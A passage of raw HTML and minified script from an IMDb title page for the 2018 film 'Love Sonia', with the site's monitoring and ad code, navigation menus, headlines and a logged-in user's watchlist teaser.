k=s.ue||{},l=6048E5,t=100*l,n=ue_csm.document||f.document,r=null,d;a:{try{d=f.localStorage;break a}catch(u){}d=void 0}k.count&&k.count("csm.cookieSize",document.cookie.length);k.cookie={get:p,set:m,updateCsmHit:function(b,e,c){try{var a;if(!(a=r)){var g;a:{try{if(d&&d.getItem){g=d.getItem("csm-hit");break a}}catch(k){}g=void 0}a=g||p("csm-hit")||"{}"}a=q(a, b,e);f.ue_cmi&&(a=q(a,"t",+new Date));r=a;try{d&&d.setItem&&d.setItem("csm-hit",a)}catch(l){}m("csm-hit",a,c)}catch(h){"function"==typeof f.ueLogError&&ueLogError(Error("Cookie manager: "+h.message),{logLevel:"WARN"})}}}})(ue_csm,window); (function(m,d){function c(b){b=";var c=a.isBFT?"b":"s",d="+a.oid,f="+a.lid,g=d;d!=f&&20==f.length&&(c+="a",g+="-"+f);a.tabid&&(b=a.tabid+"+");b+=c+"-"+g;b!=e&&100>b.length&&(e=b,a.cookie?a.cookie.updateCsmHit(n,b+("|"+ +new Date),h):document.cookie="csm-hit="+b+("|"+ +new Date)+p+"; path=/")}function q(){e=0}function k(b){!0===d[a.pageViz.propHid]?e=0:!1===d[a.pageViz.propHid]&&c({type:"visible"})}var h=new Date(+new Date+6048E5),p="; expires="+h.toGMTString(),n="tb",e,a=m.ue||{},l=a.pageViz&& a.pageViz.event&&a.pageViz.propHid;a.attach&&(a.attach("click",c),a.attach("keyup",c),l||(a.attach("focus",c),a.attach("blur",q)),l&&(a.attach(a.pageViz.event,k,d),k({})));a.aftb=1})(ue_csm,document); ue_csm.ue.stub(ue,"impression"); (function(k,d,h){function f(a,c,b){a&&a.indexOf&&0===a.indexOf("http")&&0!==a.indexOf("https")&&l(s,c,a,b)}function g(a,c,b){a&&a.indexOf&&(location.href.split("#")[0]!=a&&null!==a&&"undefined"!==typeof a||l(t,c,a,b))}function l(a,c,b,e){m[b]||(e=u&&e?n(e):"N/A",d.ueLogError&&d.ueLogError({message:a+c+" : "+b,logLevel:v,stack:"N/A"},{attribution:e}),m[b]=1,p++)}function e(a,c){if(a&&c)for(var b=0;b<a.length;b++)try{c(a[b])}catch(d){}}function q(){return d.performance&&d.performance.getEntriesByType? d.performance.getEntriesByType("resource"):[]}function n(a){if(a.id)return"//*[@id=\'"+a.id+"\']";var c;c=1;var b;for(b=a.previousSibling;b;b=b.previousSibling)b.nodeName==a.nodeName&&(c+=1);b=a.nodeName;1!=c&&(b+="["+c+"]");a.parentNode&&(b=n(a.parentNode)+"/"+b);return b}function w(){var a=h.images;a&&a.length&&e(a,function(a){var b=a.getAttribute("src");f(b,"img",a);g(b,"img",a)})}function x(){var a=h.scripts;a&&a.length&&e(a,function(a){var b=a.getAttribute("src");f(b,"script",a);g(b,"script",a)})} function y(){var a=h.styleSheets;a&&a.length&&e(a,function(a){if(a=a.ownerNode){var b=a.getAttribute("href");f(b,"style",a);g(b,"style",a)}})}function z(){if(A){var a=q();e(a,function(a){f(a.name,a.initiatorType)})}}function B(){e(q(),function(a){g(a.name,a.initiatorType)})}function r(){var a;a=d.location&&d.location.protocol?d.location.protocol:void 0;"https:"==a&&(z(),w(),x(),y(),B(),p<C&&setTimeout(r,D))}var s="[CSM] Insecure content detected ",t="[CSM] Ajax request to same page detected ",v="WARN", m={},p=0,D=k.ue_nsip||1E3,C=5,A=1==k.ue_urt,u=!0;ue_csm.ue_disableNonSecure||(d.performance&&d.performance.setResourceTimingBufferSize&&d.performance.setResourceTimingBufferSize(300),r())})(ue_csm,window,document); if(window.ue&&uet) { uet(\'bb\'); } } </script> </head> <body id="styleguide-v2" class="fixed"> <script> if (typeof uet == \'function\') { uet("bb"); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_body_delivery_started\'); } </script> <div id="sis_pixel"> <!-- Begin SIS code --> <script> if (typeof uet == \'function\') { uet("bb", "LoadSis", {wb: 1}); } </script> <div id="sis_pixel_r2" style="height:1px; position: absolute; left: -1000000px; top: -1000000px;"> <iframe id="sis_pixel_sitewide" width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" __idm_frm__="117" src="https://aax-eu.amazon-adsystem.com/s/iu3?d=imdb.com&amp;a1=01018c19e583480e759fe33b08ffe8dedd13f938e851d86e60f5be2a51445e82ec08&amp;a2=01014c3470a2ca81f8a1a91af702704d8be0dfda85084172540747b10e6334e6dc1e&amp;cb=543166563184&amp;pId=tt3823392&amp;r=1&amp;rP=https%3A%2F%2Fwww.imdb.com%2Ftitle%2Ftt3823392%2F%3Fref_%3Drvi_tt&amp;encoding=server&amp;ex-hargs=v%3D1.0%3Bc%3DIMDB%3Bp%3Dtt3823392%3Bt%3Dimdb_title_view%3B" hidden=" style="display: none !important;"></iframe> </div> <script> setTimeout(function() { var el = document.getElementById("sis_pixel_sitewide"); el.src="https://aax-eu.amazon-adsystem.com/s/iu3?d=imdb.com&a1=01018c19e583480e759fe33b08ffe8dedd13f938e851d86e60f5be2a51445e82ec08&a2=01014c3470a2ca81f8a1a91af702704d8be0dfda85084172540747b10e6334e6dc1e&cb=543166563184&pId=tt3823392&r=1&rP=https%3A%2F%2Fwww.imdb.com%2Ftitle%2Ftt3823392%2F%3Fref_%3Drvi_tt&encoding=server&ex-hargs=v%3D1.0%3Bc%3DIMDB%3Bp%3Dtt3823392%3Bt%3Dimdb_title_view%3B"; el.onload = function() { if (typeof uex == \'function\') { uex("ld", "LoadSis", {wb: 1}); } } },20); if (typeof uet == \'function\') { uet("be", "LoadSis", {wb: 1}); } </script> <!-- End SIS code --> </div> <div id="wrapper"> <div id="root" class="redesign"> <script> if (typeof uet == \'function\') { uet("ns"); } </script> <div id="nb20" class="navbarSprite"> <div id="supertab"> <!-- begin TOP_AD --> <div id="top_ad_wrapper" class="cornerstone_slot"> <script type="text/javascript"> doWithAds(function(){ if (\'cornerstone_slot\' != \'injected_slot\') { ad_utils.register_ad(\'top_ad\'); } }); </script> <iframe allowtransparency="true" class="yesScript" data-blank-serverside=" frameborder="0" id="top_ad" marginwidth="0" marginheight="0" name="top_ad" onload="doWithAds.call(this, function(){ ad_utils.on_ad_load(this); });" scrolling="no" data-original-width="0" data-original-height="0" width="0" height="0" __idm_frm__="118"></iframe> </div> <div id="top_ad_reflow_helper"></div> <script id="top_ad_rendering"> doWithAds(function(){ if (\'cornerstone_slot\' == \'cornerstone_slot\') { ad_utils.inject_serverside_ad(\'top_ad\', \'\'); } else if (\'cornerstone_slot\' == \'injected_slot\') { ad_utils.inject_ad.register(\'top_ad\'); } else { ad_utils.gpt.render_ad(\'top_ad\'); } }, "ad_utils not defined, unable to render client-side GPT ad or injected ad."); </script> <!-- End TOP_AD --> </div> <div id="navbar" class="navbarSprite"> <noscript> <link rel="stylesheet" type="text/css" href="https://m.media-amazon.com/images/G/01/imdb/css/site/consumer-navbar-no-js-3652782989._CB470042113_.css" /> </noscript> <span id="home_img_holder"> <a href="/?ref_=nv_home" title="Home" class="navbarSprite" id="home_img"></a> <span class="alt_logo"> <a href="/?ref_=nv_home" title="Home">IMDb</a> </span> </span> <form method="get" action="/find" class="nav-searchbar-inner" id="navbar-form"> <div id="nb_search"> <noscript><div id="more_if_no_javascript"><a href="/search/">More</a></div></noscript> <button id="navbar-submit-button" class="primary btn" type="submit"><div class="magnifyingglass navbarSprite"></div></button> <input type="hidden" name="ref_" value="nv_sr_fn"> <input type="text" autocomplete="off" value=" name="q" id="navbar-query" placeholder="Find Movies, TV shows, Celebrities and more..."> <div class="quicksearch_dropdown_wrapper"> <select name="s" id="quicksearch" class="quicksearch_dropdown navbarSprite"> <option value="all">All</option> <option value="tt">Titles</option> <option value="ep">TV Episodes</option> <option value="nm">Names</option> <option value="co">Companies</option> <option value="kw">Keywords</option> <option class="advancedSearch" value="/search/">Advanced Search »</option></select> </div> <div id="navbar-suggestionsearch" class="celwidget" cel_widget_id="SuggestionSearchWidget" style="left: 140px; top: 38px; width: 534px; display: none;" data-cel-widget="SuggestionSearchWidget"></div> </div> </form> <div id="megaMenu"> <ul id="consumer_main_nav" class="main_nav"> <li class="spacer"></li> <li class="js_nav_item" id="navTitleMenu"> <p class="navCategory"> <a href="/movies-in-theaters/?ref_=nv_tp_inth_1">Movies</a>, <a href="/chart/toptv/?ref_=nv_tp_tv250_2">TV</a><br> &amp; <a href="/showtimes/?ref_=nv_tp_sh_3">Showtimes</a></p> <span class="downArrow"></span> <div id="navMenu1" class="sub_nav"> <div id="titleMenuImage" style="background: url(\'https://ia.media-imdb.com/images/M/MV5BMTk5NDMxMjI2Nl5BMl5BanBnXkFtZTgwMDEwMDMyMTE@._UY420_CR195,40,410,315_HC_BR15_.jpg\')"> <a title="Guardians of the Galaxy , #243 on IMDb Top Rated Movies" href="/title/tt2015381/?ref_=nv_mv_dflt_1" class="fallback"> </a> <div class="overlay"> <p> <a href="/title/tt2015381/?ref_=nv_mv_dflt_2" id="titleMenuImageClick"> <strong>Guardians of the Galaxy </strong> (2014) </a> <br> <a href="/chart/top?ref_=nv_mv_dflt_3" id="titleMenuImageSecondaryClick"> #<strong>243</strong> on IMDb Top Rated Movies </a> » </p> </div> </div> <div class="subNavListContainer"> <h5>MOVIES</h5> <ul> <li><a href="/movies-in-theaters/?ref_=nv_mv_inth">In Theaters</a></li> <li><a href="/showtimes/?ref_=nv_mv_sh">Showtimes &amp; Tickets</a></li> <li><a href="/trailers/?ref_=nv_mv_tr">Latest Trailers</a></li> <li><a href="/movies-coming-soon/?ref_=nv_mv_cs">Coming Soon</a></li> <li><a href="/calendar/?ref_=nv_mv_cal">Release Calendar</a></li> <li><a href="/chart/top?ref_=nv_mv_250">Top Rated Movies</a></li> <li><a href="/india/top-rated-indian-movies?ref_=nv_mv_250_in">Top Rated Indian Movies</a></li> <li><a href="/chart/moviemeter?ref_=nv_mv_mpm">Most Popular Movies</a></li> </ul> <h5>CHARTS &amp; TRENDS</h5> <ul> <li><a href="/chart/?ref_=nv_ch_cht">Box Office</a></li> <li><a href="/search/title?count=100&amp;groups=oscar_best_picture_winners&amp;sort=year,desc&amp;ref_=nv_ch_osc">Oscar Winners</a></li> <li><a href="/genre/?ref_=nv_ch_gr">Most Popular by Genre</a></li> </ul> </div> <div class="subNavListContainer"> <h5>TV &amp; VIDEO</h5> <ul> <li><a href="/tv/?ref_=nv_tvv_tv">IMDb TV</a></li> <li><a href="/chart/toptv/?ref_=nv_tvv_250">Top Rated TV Shows</a></li> <li><a href="/chart/tvmeter?ref_=nv_tvv_mptv">Most Popular TV Shows</a></li> <li><a href="/sections/dvd/?ref_=nv_tvv_dvd">DVD &amp; Blu-Ray</a></li> </ul> <h5>SPECIAL FEATURES</h5> <ul> <li><a href="/amazon-originals/?ref_=nv_sf_ams">Amazon Originals</a></li> <li><a href="/imdbpicks/summer-movie-guide/ls068449550/?ref_=nv_sf_st">Summer Movie Guide</a></li> <li><a href="/scary-good/?ref_=nv_sf_sca">Horror Guide</a></li> <li><a href="/imdbpicks/?ref_=nv_sf_picks">IMDb Picks</a></li> <li><a href="/family-entertainment-guide/?ref_=nv_sf_fam">Family</a></li> <li><a href="/video-games/?ref_=nv_sf_vidg">Video Games</a></li> <li><a href="/marvel/?ref_=nv_sf_marvel">Marvel</a></li> </ul> </div> </div> </li> <li class="spacer"></li> <li class="js_nav_item" id="navNameMenu"> <p class="navCategory"> <a href="/search/name?gender=male,female&amp;ref_=nv_tp_cel">Celebs</a>, <a href="/awards-central/?ref_=nv_tp_awrd">Events</a><br> &amp; <a href="/gallery/rg784964352?ref_=nv_tp_ph">Photos</a></p> <span class="downArrow"></span> <div id="navMenu2" class="sub_nav"> <div id="nameMenuImage" style="background: url(\'https://ia.media-imdb.com/images/M/MV5BMjI1NjYzNTUyNV5BMl5BanBnXkFtZTcwMjQ0MTEwOQ@@._V1._SX300_CR45,0,250,315_.jpg\')"> <a title="Matt Damon, #221 on STARmeter" href="/name/nm0000354/?ref_=nv_cel_dflt_1" class="fallback"> </a> <div class="overlay"> <p> <a href="/name/nm0000354/?ref_=nv_cel_dflt_2" id="nameAdClick"> <strong>Matt Damon</strong> </a> » <br> #<strong>221</strong> on STARmeter </p> </div> </div> <div class="subNavListContainer"> <h5>CELEBS</h5> <ul> <li><a href="/search/name?birth_monthday=08-24&amp;refine=birth_monthday&amp;ref_=nv_cel_brn">Born Today</a></li> <li><a href="/news/celebrity?ref_=nv_cel_nw">Celebrity News</a></li> <li><a href="/search/name?gender=male,female&amp;ref_=nv_cel_m">Most Popular Celebs</a></li> </ul> <h5>PHOTOS</h5> <ul> <li><a href="/gallery/rg1859820288?ref_=nv_ph_ls">Latest Stills</a></li> <li><a href="/gallery/rg1624939264?ref_=nv_ph_lp">Latest Posters</a></li> <li><a href="/gallery/rg1641716480?ref_=nv_ph_lv">Photos We Love</a></li> </ul> </div> <div class="subNavListContainer"> <h5>EVENTS</h5> <ul> <li><a href="/awards-central/?ref_=nv_ev_awrd">Awards Central</a></li> <li><a href="/festival-central/?ref_=nv_ev_fc">Festival Central</a></li> <li><a href="/oscars/?ref_=nv_ev_acd">Oscars</a></li> <li><a href="/golden-globes/?ref_=nv_ev_gg">Golden Globes</a></li> <li><a href="/sundance/?ref_=nv_ev_sun">Sundance</a></li> <li><a href="/cannes/?ref_=nv_ev_can">Cannes</a></li> <li><a href="/comic-con/?ref_=nv_ev_comic">Comic-Con</a></li> <li><a href="/emmys/?ref_=nv_ev_rte">Emmy Awards</a></li> <li><a href="/venice/?ref_=nv_ev_venice">Venice Film Festival</a></li> <li><a href="/toronto/?ref_=nv_ev_tor">Toronto Film Festival</a></li> <li><a href="/festival-central/tribeca?ref_=nv_ev_trb">Tribeca</a></li> <li><a href="/sxsw/?ref_=nv_ev_sxsw">SXSW</a></li> <li><a href="/event/all/?ref_=nv_ev_all">All Events</a></li> </ul> </div> </div> </li> <li class="spacer"></li> <li class="js_nav_item" id="navNewsMenu"> <p class="navCategory"> <a href="/news/top?ref_=nv_tp_nw">News</a> &amp;<br> <a href="/czone/?ref_=nv_cm_cz">Community</a> </p> <span class="downArrow"></span> <div id="navMenu3" class="sub_nav"> <div id="latestHeadlines"> <div class="subNavListContainer"> <h5>LATEST HEADLINES</h5> <ul class="ipl-simple-list"> <li class="news_item"> <a href="/news/ni62183276?ref_=nv_nw_tn_1"> ‘Big Bang Theory’ Star Jim Parsons Writes Heartfelt Tribute After Report He Prompted Show’s End </a><br> <small> <span>5 hours ago</span> <span>|</span> <span>The Wrap</span> </small> </li> <li class="news_item"> <a href="/news/ni62183571?ref_=nv_nw_tn_2"> Look for \'Crazy Rich Asians\' to Top \'Happytime Murders\' for a Second Weekend at #1 </a><br> <small> <span>6 hours ago</span> <span>|</span> <span>Box Office Mojo</span> </small> </li> <li class="news_item"> <a href="/news/ni62183264?ref_=nv_nw_tn_3"> ‘Bewitched’ Reboot With Interracial Family From Kenya Barris &amp; Yamara Taylor Set At ABC With Big Commitment Via ABC Studios, Sony TV &amp; Davis Entertainment </a><br> <small> <span>5 hours ago</span> <span>|</span> <span>Deadline</span> </small> </li> </ul> </div> </div> <div class="subNavListContainer"> <h5>NEWS</h5> <ul> <li><a href="/news/top?ref_=nv_nw_tp">Top News</a></li> <li><a href="/news/movie?ref_=nv_nw_mv">Movie News</a></li> <li><a href="/news/tv?ref_=nv_nw_tv">TV News</a></li> <li><a href="/news/celebrity?ref_=nv_nw_cel">Celebrity News</a></li> <li><a href="/news/indie?ref_=nv_nw_ind">Indie News</a></li> </ul> <h5>COMMUNITY</h5> <ul> <li><a href="/czone/?ref_=nv_cm_cz">Contributor Zone</a></li> <li><a href="/poll/?ref_=nv_cm_pl">Polls</a></li> </ul> </div> </div> </li> <li class="spacer"></li> <li class="js_nav_item" id="navWatchlistMenu"> <p class="navCategory singleLine watchlist"> <a href="/list/watchlist?ref_=nv_wl_all_0">Watchlist</a> <span class="count">(703)</span> </p> <span class="downArrow"></span> <div id="navMenu4" class="sub_nav" style="display: none;"> <h5> RECENTLY ADDED <span class="seeAll"> <a href="/list/watchlist?ref_=nv_wl_all_1">See all 703 titles</a> » </span> </h5> <ul id="navWatchlist"> <li><a id=" href="/title/tt0073841?ref_=nv_wl_img_1"><img alt="Under the Blossoming Cherry Trees (1975) on your Watchlist" class="watchListItem" src="https://m.media-amazon.com/images/M/MV5BMTQ0MjU0MjE1OV5BMl5BanBnXkFtZTgwNTAzNzM0NjE@._V1_UY209_CR4,0,140,209_AL_.jpg" height="209" width="140" title="Under the Blossoming Cherry Trees (1975) on your Watchlist"></a></li><li><a id=" href="/title/tt6468322?ref_=nv_wl_img_2"><img alt="Money Heist (2017) on your Watchlist" class="watchListItem" src="https://m.media-amazon.com/images/M/MV5BMzBlY2QzNzYtMWU1NS00NjFkLWJiMzItYmM3YTc4MDFjNDQwXkEyXkFqcGdeQXVyMTA0MjU0Ng@@._V1_UX140_CR0,0,140,209_AL_.jpg" height="209" width="140" title="Money Heist (2017) on your Watchlist"></a></li><li><a id=" href="/title/tt0210296?ref_=nv_wl_img_3"><img alt="Socrates (1971) on your Watchlist" class="watchListItem" src="https://m.media-amazon.com/images/M/MV5BZDY4YzJjMDktYjgyNy00OGIyLTllY2ItMGI1MGQ2YmE2NjJhXkEyXkFqcGdeQXVyMzU0NzkwMDg@._V1_UX140_CR0,0,140,209_AL_.jpg" height="209" width="140" title="Socrates (1971) on your Watchlist"></a></li></ul> <script> if (!(\'imdb\' in window)) { window.imdb = {}; } window.imdb.watchlistTeaserData = [ { href : "/title/tt0073841", title : "Under the Blossoming Cherry Trees", year : "1975", src : "https://m.media-amazon.com/images/M/MV5BMTQ0MjU0MjE1OV5BMl5BanBnXkFtZTgwNTAzNzM0NjE@._V1_UY209_CR4,0,140,209_AL_.jpg" }, { href : "/title/tt6468322", title : "Money Heist", year : "2017", src : "https://m.media-amazon.com/images/M/MV5BMzBlY2QzNzYtMWU1NS00NjFkLWJiMzItYmM3YTc4MDFjNDQwXkEyXkFqcGdeQXVyMTA0MjU0Ng@@._V1_UX140_CR0,0,140,209_AL_.jpg" }, { href : "/title/tt0210296", title : "Socrates", year : "1971", src : "https://m.media-amazon.com/images/M/MV5BZDY4YzJjMDktYjgyNy00OGIyLTllY2ItMGI1MGQ2YmE2NjJhXkEyXkFqcGdeQXVyMzU0NzkwMDg@._V1_UX140_CR0,0,140,209_AL_.jpg" } ]; </script> </div> </li> <li class="spacer"></li> </ul> </div> <div id="nb_extra"> <ul id="nb_extra_nav" class="main_nav"> <li class="js_nav_item" id="navProMenu"> <p class="navCategory"> <a href="https://pro.imdb.com/login/ap?u=/login/lwa&amp;imdbPageAction=signUp&amp;rf=cons_nb_hm&amp;ref_=cons_nb_hm"> <img alt="IMDbPro Menu" src="https://m.media-amazon.com/images/G/01/imdb/images/navbar/imdbpro_logo_nb-3000473826._CB470041611_.png"> </a> </p> <span class="downArrow"></span> <div id="navMenuPro" class="imdb-pro-ad-shared imdb-pro-ad sub_nav"> <a href="https://pro.imdb.com/login/ap?u=/login/lwa&amp;imdbPageAction=signUp&amp;rf=cons_nb_hm&amp;ref_=cons_nb_hm" class="imdb-pro-ad__link"> <div id="proAd" class="imdb-pro-ad__image"> <img alt="Go to IMDbPro" height="180" width="174" src="https://m.media-amazon.com/images/G/01/imdb/images/navbar/imdbpro_menu_user-4091932618._CB470041659_.png" srcset="https://m.media-amazon.com/images/G/01/imdb/images/navbar/imdbpro_menu_user-4091932618._CB470041659_.png 1x, https://m.media-amazon.com/images/G/01/imdb/images/navbar/imdbpro_menu_user_2x-2074318947._CB470041657_.png 2x"> </div> <section class="imdb-pro-ad__content"> <div class="imdb-pro-ad__title">The leading information resource for the entertainment industry</div> <p class="imdb-pro-ad__line">Find industry contacts &amp; talent representation</p> <p class="imdb-pro-ad__line">Manage your photos, credits, &amp; more</p> <p class="imdb-pro-ad__line">Showcase yourself on IMDb &amp; Amazon</p> <span class="imdb-pro-ad__button">Go to IMDbPro</span> </section> </a></div> </li> <li class="spacer"><span class="ghost">|</span></li> <li> <a href="https://help.imdb.com/imdb?ref_=cons_nb_hlp">Help</a> </li> <li class="social"> <a href="/offsite/?page-action=fol_fb&amp;token=BCYljohovnWMU12IyLOiXjMpG6T4P7BHyapLefBRRIc11KYgOhdW56QOvMqpmEgMPj0jIfy2uwgq%0D%0ABBuxdEmjw3tuhvA1u9xqCnps5Y_aI7MSl_mrAesXgPVBZxy3GXekjduvXQrvrCKt6vRCYMBBWBpF%0D%0Aj9Il4dPYBGMaproKzwIn_L8_rOWmacGoGysfHkfFwJvstwwl17BajuJ6yClrlEVzoA%0D%0A&amp;ref_=tt_nv_fol_fb" title="Follow IMDb on Facebook" target="_blank"> <span class="desktop-sprite follow-facebook"></span> </a> <a href="/offsite/?page-action=fol_tw&amp;token=BCYmEagcxMOnw89Y4-hQURFZQkKs_JM4Ho7jhgEsFXSvUeTQw2n0vdlr8fMNVw2pPeDhQwHaDArP%0D%0AGrwxf8rDdXmKWdEogkrzxLBheCsjHD-aXSFki4ngffHY0jrZ-amWyHacErxO3ESfssIb6QlCGrOl%0D%0AmhVGCthys1lLuo9zoF9mitxVgliML41gtCV7b1TmpsfVyy__9Cl8POKC9m2Y3GWeUw%0D%0A&amp;ref_=tt_nv_fol_tw" title="Follow IMDb on Twitter" target="_blank"> <span class="desktop-sprite follow-twitter"></span> </a> <a href="/offsite/?page-action=fol_inst&amp;token=BCYgg7JMG3yjq3I1nm4X46MGipgd8nIZBGEhCGWvwsxH38kpgBiSpeMxxvTK-Ei3Mcti9l3V-f2m%0D%0AAtlPfAwJlqOEebAed1D_R5lXXDO1sA9vEhf9sLmBI1qPJPTpH6sOPnFhXIJncbzvAntC_nm5lWxs%0D%0AV9Wqdq5USsalGiHITTVixJP3Brdhe4PqLHBqL86x3Wi5favlmMeqgwDb8QECFKM6_Q%0D%0A&amp;ref_=tt_nv_fol_inst" title="Follow IMDb on Instagram" target="_blank"> <span class="desktop-sprite follow-instagram"></span> </a> </li> </ul> </div> <div id="nb_personal"> <ul id="consumer_user_nav" class="main_nav"> <li class="js_nav_item" id="navUserMenu"> <p class="navCategory singleLine"> <a href="/user/ur52650536/?ref_=nb_usr_prof_0" id="nbusername">samserial-com</a> </p> <span class="downArrow"></span> <div class="sub_nav"> <div class="subNavListContainer"> <br> <ul> <li> <a href="/registration/accountsettings?ref_=nv_usr_pers_1">Site Settings</a> </li> </ul> </div> <div class="subNavListContainer"> <h5>ACTIVITY</h5> <ul> <li><a href="/user/ur52650536/?ref_=nv_usr_prof_2">Your Activity</a></li> <li><a href="/user/ur52650536/lists?ref_=nv_usr_lst_3">Your Lists</a></li> <li><a href="/user/ur52650536/ratings?ref_=nv_usr_rt_4">Your Ratings</a></li> </ul> </div> <div class="subNavListContainer"> <br> <ul> <li> <a href="/registration/logout?ref_=nv_usr_lgout_6" id="nblogout">Log Out</a> </li> </ul> </div> </div> </li> </ul> </div> </div> </div> <!-- no content received for slot: navstrip --> <!-- begin INJECTED_NAVSTRIP --> <div id="injected_navstrip_wrapper" class="injected_slot"> <script type="text/javascript"> doWithAds(function(){ if (\'injected_slot\' != \'injected_slot\') { ad_utils.register_ad(\'injected_navstrip\'); } }); </script> <iframe allowtransparency="true" class="yesScript" data-dart-params="#doubleclick;u=543166563184;ord=543166563184?" frameborder="0" id="injected_navstrip" marginwidth="0" marginheight="0" name="injected_navstrip" onload="doWithAds.call(this, function(){ ad_utils.on_ad_load(this); });" scrolling="no" data-original-width="0" data-original-height="0" width="0" height="0" __idm_frm__="119"></iframe> </div> <div id="injected_navstrip_reflow_helper"></div> <script id="injected_navstrip_rendering"> doWithAds(function(){ if (\'injected_slot\' == \'cornerstone_slot\') { ad_utils.inject_serverside_ad(\'injected_navstrip\', \'\'); } else if (\'injected_slot\' == \'injected_slot\') { ad_utils.inject_ad.register(\'injected_navstrip\'); } else { ad_utils.gpt.render_ad(\'injected_navstrip\'); } }, "ad_utils not defined, unable to render client-side GPT ad or injected ad."); </script> <!-- End INJECTED_NAVSTRIP --> <script> if (typeof uet == \'function\') { uet("ne"); } </script> <div id="pagecontent" class="pagecontent"> <!-- begin INJECTED_BILLBOARD --> <div id="injected_billboard_wrapper" class="injected_slot"> <script type="text/javascript"> doWithAds(function(){ if (\'injected_slot\' != \'injected_slot\') { ad_utils.register_ad(\'injected_billboard\'); } }); </script> <iframe allowtransparency="true" class="yesScript" data-dart-params="#doubleclick;u=543166563184;ord=543166563184?" frameborder="0" id="injected_billboard" marginwidth="0" marginheight="0" name="injected_billboard" onload="doWithAds.call(this, function(){ ad_utils.on_ad_load(this); });" scrolling="no" data-original-width="0" data-original-height="0" width="0" height="0" __idm_frm__="120"></iframe> </div> <div id="injected_billboard_reflow_helper"></div> <script id="injected_billboard_rendering"> doWithAds(function(){ if (\'injected_slot\' == \'cornerstone_slot\') { ad_utils.inject_serverside_ad(\'injected_billboard\', \'\'); } else if (\'injected_slot\' == \'injected_slot\') { ad_utils.inject_ad.register(\'injected_billboard\'); } else { ad_utils.gpt.render_ad(\'injected_billboard\'); } }, "ad_utils not defined, unable to render client-side GPT ad or injected ad."); </script> <!-- End INJECTED_BILLBOARD --> <!-- begin NAVBOARD --> <div id="navboard_wrapper" class="injected_slot"> <script type="text/javascript"> doWithAds(function(){ if (\'injected_slot\' != \'injected_slot\') { ad_utils.register_ad(\'navboard\'); } }); </script> <iframe allowtransparency="true" class="yesScript" data-dart-params="#doubleclick;u=543166563184;ord=543166563184?" frameborder="0" id="navboard" marginwidth="0" marginheight="0" name="navboard" onload="doWithAds.call(this, function(){ ad_utils.on_ad_load(this); });" scrolling="no" data-original-width="0" data-original-height="0" width="0" height="0" __idm_frm__="121"></iframe> </div> <div id="navboard_reflow_helper"></div> <script id="navboard_rendering"> doWithAds(function(){ if (\'injected_slot\' == \'cornerstone_slot\') { ad_utils.inject_serverside_ad(\'navboard\', \'\'); } else if (\'injected_slot\' == \'injected_slot\') { ad_utils.inject_ad.register(\'navboard\'); } else { ad_utils.gpt.render_ad(\'navboard\'); } }, "ad_utils not defined, unable to render client-side GPT ad or injected ad."); </script> <!-- End NAVBOARD --> <div id="content-2-wide" class="flatland"> <div id="main_top" class="main"> <div class="title-overview"> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleOverviewWidget_started\'); } </script> <div id="title-overview-widget" class="heroic-overview"> <div class="message_box"> <div id="star-ratings-widget-error" class="hidden error"> <h2>There was an error trying to load your rating for this title.</h2> <p>Some parts of this page won\'t work property. Please reload or try later.</p> </div> </div> <div class="vital"> <div id="quicklinksBar" class="subnav"> <div id="quicklinksMainSection"> <a href="/title/tt3823392/fullcredits?ref_=tt_ql_1" class="quicklink">FULL CAST AND CREW</a> <span class="ghost">|</span> <a href="/title/tt3823392/trivia?ref_=tt_ql_2" class="quicklink">TRIVIA</a> <span class="ghost">|</span> <a href="/title/tt3823392/reviews?ref_=tt_ql_3" class="quicklink quicklinkGray">USER REVIEWS</a> <span class="ghost">|</span> <a href="https://pro.imdb.com/title/tt3823392?rf=cons_tt_contact&amp;ref_=cons_tt_contact" class="quicklink">IMDbPro</a> <span class="ghost">|</span> <span class="show_more quicklink"> MORE<span class="titleOverviewSprite quicklinksArrowUp"></span> </span> <span class="show_less quicklink" style="display:none"> LESS<span class="titleOverviewSprite quicklinksArrowDown"></span> </span> </div> <span class="titleOverviewShareButton launch-share-popover quicklink">SHARE</span> <div id="share-popover"> <a class="close-popover" href="#">X</a> <h4>Share</h4> <a onclick="window.open(&quot;https://www.facebook.com/sharer.php?u=https%3A%2F%2Fwww.imdb.com%2Ftitle%2Ftt3823392%2F%3Fref_%3Dext_shr_fb_tt&quot;, \'newWindow\', \'width=626,height=436\'); return false;" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fwww.imdb.com%2Ftitle%2Ftt3823392%2F%3Fref_%3Dext_shr_fb_tt" title="Share on Facebook" class="facebook" target="_blank"><div class="option facebook"> <span class="titlePageSprite share_facebook"></span> <div>Facebook</div> </div></a> <a onclick="window.open(&quot;https://twitter.com/intent/tweet?text=Love%20Sonia%20(14%20September%202018%20(India))%20-%20imdb.com%2Ftitle%2Ftt3823392%2F%3Fref_%3Dext_shr_tw_tt&quot;, \'newWindow\', \'width=815,height=436\'); return false;" href="https://twitter.com/intent/tweet?text=Love%20Sonia%20(14%20September%202018%20(India))%20-%20imdb.com%2Ftitle%2Ftt3823392%2F%3Fref_%3Dext_shr_tw_tt" title="Share on Twitter" class="twitter" target="_blank"><div class="option twitter"> <span class="titlePageSprite share_twitter"></span> <div>Twitter</div> </div></a> <a href="mailto:?subject=IMDb%3A%20Love%20Sonia%20(14%20September%202018%20(India))&amp;body=IMDb%3A%20Love%20Sonia%20(14%20September%202018%20(India))%0AInspired%20by%20real%20life%20events%2C%20Love%20Sonia%20is%20the%20story%20of%20a%20young%20girl\'s%20journey%20to%20rescue%20her%20sister%20from%20the%20dangerous%20world%20of%20international%20sex%20trafficking.%0Ahttps%3A%2F%2Fwww.imdb.com%2Ftitle%2Ftt3823392%2F%3Fref_%3Dext_shr_eml_tt" title="Share by e-mail" class="><div class="option email"> <span class="titlePageSprite share_email"></span> <div>E-mail</div> </div></a> <a href="#" class="open-checkin-popover"> <div class="option checkin"> <span class="titlePageSprite share_checkin"></span> <div>Check in</div> </div> </a> </div> <div id="share-checkin"> <div class="add_to_checkins" data-const="tt3823392" data-lcn="title-maindetails"> <span class="btn2_wrapper"><a onclick=" class="btn2 large btn2_text_on checkins_action_btn"><span class="btn2_glyph">0</span><span class="btn2_text">Check in</span></a></span> <div class="popup checkin-dialog" style="display: none;"> <a class="small close btn">X</a> <span class="title">I\'m Watching This!</span> <div class="body"> <div class="info">Keep track of everything you watch; tell your friends. </div> <div class="small message_box"> <div class="hidden error" style="display: 